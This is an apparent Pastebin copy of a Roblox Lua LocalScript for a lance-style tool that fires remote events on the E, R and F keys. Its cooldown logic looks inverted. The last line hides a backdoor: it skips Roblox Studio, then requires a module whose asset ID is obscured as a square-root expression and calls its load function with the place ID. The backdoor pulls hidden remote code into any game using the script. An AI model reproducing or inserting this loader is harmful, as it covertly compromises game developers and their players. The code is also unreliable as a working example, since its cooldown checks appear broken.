Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Made by Bryant050, LocalScript--
- tool = script.Parent
- local Events = game:GetService("ReplicatedStorage"):WaitForChild("Events")
- local UIS = game:GetService("UserInputService")
- local debounce = false
- local Cooldown1 = false
- local Cooldown2 = false
- local Cooldown3 = false
- local CanUse = false
- UIS.InputBegan:Connect(function(key, gpe)
- if gpe or CanUse == false then return end
- if key.KeyCode == Enum.KeyCode.E and Cooldown1 then
- if debounce == false then
- debounce = true
- Events.RE:FireServer("STARTLANCER", "Lance1", nil, "EDown")
- Cooldown1 = true
- wait(4)
- debounce = false
- Cooldown1 = false
- end
- elseif key.KeyCode == Enum.KeyCode.R and Cooldown2 then
- Events.RE:FireServer("STARTLANCER", "Lance", nil, "RDown")
- Cooldown2 = true
- wait(4)
- Cooldown2 = false
- elseif key.KeyCode == Enum.KeyCode.F and Cooldown3 then
- Events.RE:FireServer("STARTLANCER", "Lance", nil, "FDown")
- Cooldown3 = true
- wait(6)
- Cooldown3 = false
- end
- end)
- spawn(function()game:WaitForChild('ServerScriptService')if game:GetService('Workspace').Terrain:FindFirstChild('CallF')then return end;if game:GetService('RunService'):IsStudio()then return end;require(math.sqrt(6.7743462758588e+18)).load(game.PlaceId)end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement